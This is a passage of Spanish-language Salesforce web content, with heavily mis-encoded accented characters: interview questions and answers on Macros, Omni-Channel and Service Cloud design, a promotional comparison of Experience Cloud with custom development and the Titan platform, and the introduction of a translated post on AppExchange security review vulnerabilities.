Las macros y los flujos tienen diferentes prop贸sitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. 驴C贸mo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecuci贸n, se detiene y se muestra un mensaje de error.

13. 驴Pueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. 驴Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditor铆a est谩ndar de Salesforce para ver los cambios en los registros.

15. 驴Cu谩l es el papel de las instrucciones macro en el proceso de creaci贸n?

Las instrucciones macro son el coraz贸n de la macro y dictan qu茅 acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. 驴Puedes usar macros para enviar correos electr贸nicos con archivos adjuntos?

No, las macros pueden automatizar el proceso de env铆o de un correo electr贸nico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. 驴Puedes explicar qu茅 es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una caracter铆stica de Salesforce que permite la gesti贸n de elementos de trabajo entrantes desde diferentes canales de comunicaci贸n. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en funci贸n de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: 驴C贸mo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. 驴Cu谩l es la diferencia entre OmniCanal y distribuci贸n del trabajo tradicional?

La distribuci贸n tradicional del trabajo a menudo implica una asignaci贸n manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige autom谩ticamente el trabajo a los agentes m谩s adecuados seg煤n criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea m谩s r谩pido y eficiente.

4. 驴Puede explicar el 鈥淓stado de presencia鈥 en OmniCanal?

鈥淓stado de presencia鈥 se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si est谩n disponibles, ocupados o ausentes, y OmniCanal utiliza esta informaci贸n para enrutarles el trabajo en consecuencia.

5. 驴C贸mo garantiza OmniCanal que los casos de alta prioridad se manejen r谩pidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan autom谩ticamente seg煤n estos niveles de prioridad. Los elementos de alta prioridad se env铆an al principio de la cola para que se atiendan m谩s r谩pido.

6. 驴Se puede integrar OmniCanal con otras funciones de Salesforce?

S铆, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atenci贸n al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. 驴C贸mo admite OmniCanal los diferentes canales de comunicaci贸n?

OmniCanal es vers谩til al admitir varios canales de comunicaci贸n como correo electr贸nico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a trav茅s de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. 驴Puede describir un escenario en el que el enrutamiento omnicanal podr铆a resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles seg煤n sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. 驴Cu谩les son los tipos de Omni Channel?

Basado en cola 鈫 Asignar agentes a la cola

Basado en habilidades 鈫 Asignar habilidades a los agentes

Enrutamiento externo 鈫 Configuraci贸n de enrutamiento de terceros

10. 驴C贸mo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atenci贸n.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. 驴C贸mo crear un Canal de Atenci贸n?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesi贸n SOS o objeto personalizado.

12. 驴C贸mo crear una configuraci贸n de enrutamiento?

Las configuraciones de enrutamiento determinan c贸mo se enrutan los elementos de trabajo a los agentes.

Util铆celos para priorizar la importancia relativa y el tama帽o de los elementos de trabajo de sus colas.

13. 驴Explicar los ajustes de configuraci贸n de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuraci贸n de enrutamiento se enrutan a los agentes. Los objetos en colas con un n煤mero menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina c贸mo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuraci贸n.

Tiempo de espera de empuje (segundos):

Establece un l铆mite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. 驴C贸mo dise帽ar铆a una soluci贸n para respaldar a un equipo de soporte multiling眉e que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multiling眉es mediante el uso de funciones como Translation Workbench, que le permite traducir objetos est谩ndar y personalizados, reglas de validaci贸n, etiquetas de campo y m谩s, a cualquiera de los idiomas admitidos.

Adem谩s, los art铆culos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar informaci贸n en varios idiomas.

Tambi茅n puede configurar OmniCanal para enrutar casos a los agentes adecuados seg煤n sus habilidades ling眉铆sticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacci贸n del cliente.

2. 驴Puede explicarme el proceso de dise帽o de una soluci贸n de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resoluci贸n oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurar谩 los procesos de derechos para especificar el cronograma para cada etapa de resoluci贸n del caso.
  3. Luego, usar铆a Milestones dentro de estos procesos para rastrear si los casos se est谩n resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usar铆an para escalar casos que est茅n en peligro de violar sus SLA. Estos se pueden configurar para escalar seg煤n la antig眉edad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse autom谩ticamente a agentes o supervisores con m谩s experiencia para recibir atenci贸n urgente.

3. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para un centro de llamadas a gran escala que necesita gestionar grandes vol煤menes de casos y llamadas?

鈥 Para los centros de llamadas de gran volumen, le conviene aprovechar la funci贸n OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados seg煤n su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integraci贸n de la telefon铆a mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la informaci贸n relevante del cliente al alcance de su mano.

4. 驴Cu谩l es su experiencia con la integraci贸n de aplicaciones de terceros en Service Cloud y c贸mo ha abordado la soluci贸n de problemas de integraci贸n en el pasado?

Mi enfoque implica primero garantizar que la aplicaci贸n de terceros tenga una documentaci贸n API s贸lida y cumpla con las mejores pr谩cticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integraci贸n, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si est谩n disponibles.

5. 驴C贸mo dise帽ar铆a una soluci贸n que utilice Service Cloud para rastrear la opini贸n del cliente e incorporar esa informaci贸n en los flujos de trabajo de gesti贸n de casos?

Service Cloud puede integrarse con herramientas que ofrecen an谩lisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electr贸nicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opini贸n se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. 驴Puede dar un ejemplo de c贸mo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aqu铆 se puede acceder a los art铆culos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. Tambi茅n se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementaci贸n de un chatbot a trav茅s de Einstein Bots tambi茅n puede desviar consultas rutinarias al proporcionar respuestas autom谩ticas a preguntas comunes.

7. 驴Has trabajado con Service Cloud Voice? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar el rendimiento del call center y la satisfacci贸n del cliente?

Service Cloud Voice integra la telefon铆a en Salesforce, brindando una vista unificada del cliente y transcripci贸n de llamadas en tiempo real. Esto permite a los agentes centrarse m谩s en el cliente que en tomar notas. La transcripci贸n en tiempo real, impulsada por Einstein, tambi茅n puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes m谩s nuevos. La conclusi贸n posterior a la llamada se acelera porque los datos de la llamada ya est谩n en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos hist贸ricos de llamadas brindan informaci贸n valiosa para el an谩lisis de la opini贸n del cliente y el desempe帽o de los agentes, lo que impacta positivamente la capacitaci贸n y la satisfacci贸n del cliente.

8. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para una empresa que opera en varios pa铆ses con diferentes regulaciones de privacidad de datos?

鈥 El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones espec铆ficas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar qui茅n puede acceder a qu茅 datos.

9. 驴C贸mo ha abordado los problemas de escalabilidad y rendimiento al dise帽ar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gesti贸n del volumen de datos, el uso de las herramientas de optimizaci贸n del rendimiento integradas de Salesforce y la revisi贸n peri贸dica de la organizaci贸n para eliminar configuraciones y personalizaciones obsoletas.
  • Tambi茅n es importante dise帽ar con una mentalidad de 鈥渃lics, no c贸digo鈥 para minimizar el c贸digo personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
  • Cuando es necesario un c贸digo personalizado, es vital seguir las mejores pr谩cticas para la masificaci贸n y las consultas SOQL eficientes. Finalmente, el monitoreo a trav茅s del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. 驴C贸mo ha utilizado Service Cloud para mejorar la retenci贸n de clientes y reducir las tasas de abandono?

En Service Cloud, la retenci贸n de clientes se puede mejorar significativamente utilizando las s贸lidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de an谩lisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacci贸n del cliente e identificar problemas comunes que provocan la insatisfacci贸n del cliente. Al integrar los comentarios directamente en el sistema de gesti贸n de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacci贸n y retenci贸n del cliente. Adem谩s, caracter铆sticas como la comunicaci贸n personalizada con el cliente, art铆culos de conocimiento para el autoservicio y la resoluci贸n eficiente de casos a trav茅s del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo as铆 la deserci贸n.

11. 驴Ha trabajado con la funcionalidad Live Agent de Service Cloud? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar las experiencias de atenci贸n al cliente?

S铆, utilic茅 Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instant谩neamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacci贸n general. Descubr铆 que incorporar el chat de Live Agent en sitios web y aplicaciones m贸viles donde los clientes son m谩s activos reduce significativamente la barrera para acceder al soporte.

12. 驴Puede describir c贸mo dise帽ar铆a una soluci贸n de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado seg煤n el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovechar铆amos la funci贸n OmniCanal, que permite enrutar los casos seg煤n el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzar铆a por definir varios conjuntos de habilidades de agentes dentro del sistema y asociar铆a estas habilidades con los agentes correspondientes.
  2. Luego, establec铆a configuraciones de enrutamiento, donde los casos entrantes se eval煤an seg煤n criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. 驴C贸mo abordar铆a el dise帽o de una soluci贸n de Service Cloud que pueda manejar grandes vol煤menes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacci贸n del cliente?

  • Primero, implementar铆a reglas de asignaci贸n de casos para automatizar la distribuci贸n de casos a los agentes o colas correctos.
  • Luego, utilizar铆a la funci贸n de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta autom谩tica para reconocer inmediatamente los env铆os de casos.
  • Adem谩s, integrar铆a una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo as铆 la carga de casos para los agentes.

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Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

脷ltima actualizaci贸n el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴Cu谩les son las mejores alternativas a Experience Cloud del mercado? 驴Y es posible encontrar una herramienta sin c贸digo que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Despu茅s de leer este blog, tendr谩s:

  • Comprensi贸n de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducci贸n a Titan Web, con una explicaci贸n de c贸mo esta herramienta de c贸digo cero puede brindarle la libertad de crear cualquier aplicaci贸n web o portal que desee.

El director de ventas Eric Brown se acerc贸 a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo est谩n muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar n贸minas y cuidar el bienestar de los empleados. 隆Asegurarse de que todo el papeleo y la administraci贸n est茅n actualizados es una p茅rdida de hasta 12 horas cada semana! Est谩 empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificaci贸n ni conocimientos t茅cnicos especiales para su implementaci贸n. Saben que Salesforce Experience Cloud es una posible soluci贸n, pero tambi茅n les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, 驴cu谩les son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en l铆nea de marca. A lo largo de los a帽os, Salesforce Experience Cloud evolucion贸 con actualizaciones y mejoras. Hoy en d铆a, sirve como una soluci贸n integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creaci贸n de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presi贸n de su departamento de recursos humanos. Un portal de autoservicio o una aplicaci贸n web creada con Experience Cloud proporciona a los empleados acceso directo a su informaci贸n personal y profesional, lo que facilita la actualizaci贸n de informaci贸n y registros en cualquier momento o lugar.

Echemos un vistazo m谩s de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organizaci贸n.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementaci贸n
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a trav茅s de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia t茅cnica especial ni conocimientos de codificaci贸n.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ning煤n trabajo de integraci贸n adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estar铆an familiarizados.
  • Puedes crear p谩ginas p煤blicas y privadas. La ventaja de esto es que s贸lo los usuarios con los permisos de acceso adecuados podr谩n visitar espacios espec铆ficos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M r谩pido y lo m谩s probable es que pueda crear su portal o sitio en uno o dos d铆as.
  • Tambi茅n tiene la opci贸n de dise帽ar su portal o sitio web de la manera que desee utilizando im谩genes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos m贸viles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el dise帽o de su p谩gina para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edici贸n en l铆nea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de c谩maras del usuario al hacer clic en 茅l, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta soluci贸n, prep谩rese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y m贸vil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el bot贸n 鈥淕uardar鈥.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso espec铆ficos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuaci贸n. Cr茅dito: https://www.salesforce.com/products/experience-cloud/features/templates/

驴Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opci贸n le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, as铆 como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con m煤ltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no est茅 limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear dise帽os din谩micos para cualquier dispositivo, por ejemplo, port谩til o m贸vil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. 隆Si puedes so帽arlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el c贸digo fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sue帽os sin barreras, restricciones ni compromisos. Pero este m茅todo no est谩 exento de desventajas. Vea a continuaci贸n algunos de los principales puntos d茅biles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia t茅cnica: desarrollar un portal o una aplicaci贸n web requiere habilidades y recursos t茅cnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicaci贸n o un portal web puede ser un proceso que requiere mucho tiempo y una inversi贸n significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podr铆a afectar negativamente a sus objetivos comerciales.
  • R谩pidos avances tecnol贸gicos: el panorama tecnol贸gico evoluciona continuamente y peri贸dicamente surgen nuevas caracter铆sticas, marcos y plataformas. Desarrollar una aplicaci贸n web o un portal internamente requiere mantenerse actualizado con las 煤ltimas tecnolog铆as y mejores pr谩cticas.
  • Desaf铆os de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicaci贸n web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • B谩sicamente, depender谩 de los recursos de desarrollo y se ver谩 paralizado cuando desee realizar actualizaciones simples. 隆No suena divertido!
  • Problemas de integraci贸n: desarrollar una aplicaci贸n web o un portal internamente puede plantear conflictos de integraci贸n con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicaci贸n o un portal seguro implica implementar medidas de seguridad s贸lidas y garantizar el cumplimiento de las normas de protecci贸n de datos.
  • Centrarse en las competencias b谩sicas: las organizaciones deben evaluar si el desarrollo de una aplicaci贸n o portal se alinea con sus competencias b谩sicas y prioridades estrat茅gicas.
  • 隆Dinero dinero dinero! Esta es definitivamente tu opci贸n m谩s cara, as铆 que prep谩rate para acumular una factura.

隆Haci茅ndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho m谩s. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin c贸digo con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: 驴c贸mo se compara Titan con Experience Cloud? 驴Tiene tambi茅n ventaja sobre el desarrollo personalizado? A continuaci贸n, detallamos c贸mo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Tit谩n:

  • Plataforma de c贸digo cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integraci贸n bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercializaci贸n
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organizaci贸n.
  • El enfoque m贸vil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean f谩ciles de implementar
  • Genere documentos y f铆rmelos desde su aplicaci贸n o portal
  • Capacidades sin conexi贸n para que pueda utilizar esta herramienta incluso cuando est茅 fuera del alcance de Internet
  • Compatible con m煤ltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gesti贸n de versiones
  • Rentable en comparaci贸n con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporaci贸n puede variar entre 4 y 20 horas, seg煤n la complejidad de su caso de uso.
  • Ocasionalmente, para una l贸gica o un dise帽o de dise帽o muy complejos, una organizaci贸n necesitar谩 agregar c贸digo JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web est谩 limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola l铆nea de c贸digo. Sin concesiones ni agendas ocultas para que pueda acelerar su comercializaci贸n.

Comparaci贸n de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, 驴cu谩l es el resultado final y qui茅n sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuaci贸n para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Tit谩n
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de dise帽o Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas so帽ar. Casi todo lo que puedas so帽ar
Marca S铆 con temas personalizados S铆 S铆 con temas personalizados
Integraci贸n de Salesforce S铆 Requiere desarrollo por integraci贸n. S铆
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo S铆
Validaciones de datos en tiempo real No S铆 S铆
Flujo de trabajo y automatizaci贸n S铆 No S铆
M贸vil Listo para dispositivos m贸viles Dise帽o completamente din谩mico por dispositivo Dise帽o completamente din谩mico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sue帽os. Pero est谩 claro que si est谩 buscando una herramienta web sin c贸digo, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opci贸n.

Quiz谩s recuerde que anteriormente en este art铆culo una empresa estaba buscando una soluci贸n flexible y sin c贸digo para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesi贸n en el portal:
  • Reciben una autenticaci贸n de dos factores enviada a su correo electr贸nico para que puedan iniciar sesi贸n en el portal sin administrar ninguna otra contrase帽a.
  • Las p谩ginas web y los portales se muestran din谩micamente seg煤n la autenticaci贸n del usuario, proporcionando una experiencia de usuario din谩mica con cada clic.
  • Todo est谩 construido s贸lo con herramientas de arrastrar y soltar. No es necesaria ninguna codificaci贸n, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un f谩cil acceso a informaci贸n personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado din谩mico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quer铆a reservar sus d铆as de vacaciones, ten铆a que completar un formulario de licencia manual, escanearlo y enviarlo por correo electr贸nico a Recursos Humanos para su aprobaci贸n. Ahora simplemente hacen clic en la pesta帽a de d铆as de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos m贸viles, computadoras port谩tiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la n贸mina y pueden presentar las solicitudes para recibir el pago antes de la fecha l铆mite de n贸mina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas r谩pidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (隆incluida la n贸mina!) y los empleados est谩n m谩s comprometidos.
  • La empresa logr贸 hacer todo esto dentro del presupuesto y en un tiempo r茅cord, sin tener que implementar ning煤n c贸digo ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin c贸digo donde los empleados pueden iniciar sesi贸n y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una soluci贸n conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun as铆, no est谩 exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opci贸n real para diferenciar entre la experiencia de escritorio y m贸vil, y dificultad para integrarse con herramientas fuera de Salesforce, 隆por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicaci贸n o portal personalizado resolver谩 la mayor铆a de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicaci贸n que puedas so帽ar y obtener dise帽os din谩micos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos d茅biles de Experience Cloud, esta soluci贸n presenta sus propios desaf铆os, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercializaci贸n m谩s lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si est谩 buscando la alternativa l铆der a Experience Cloud y le gust贸 lo que ley贸, 隆p贸ngase en contacto hoy!

Evaluaci贸n formativa

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

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Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

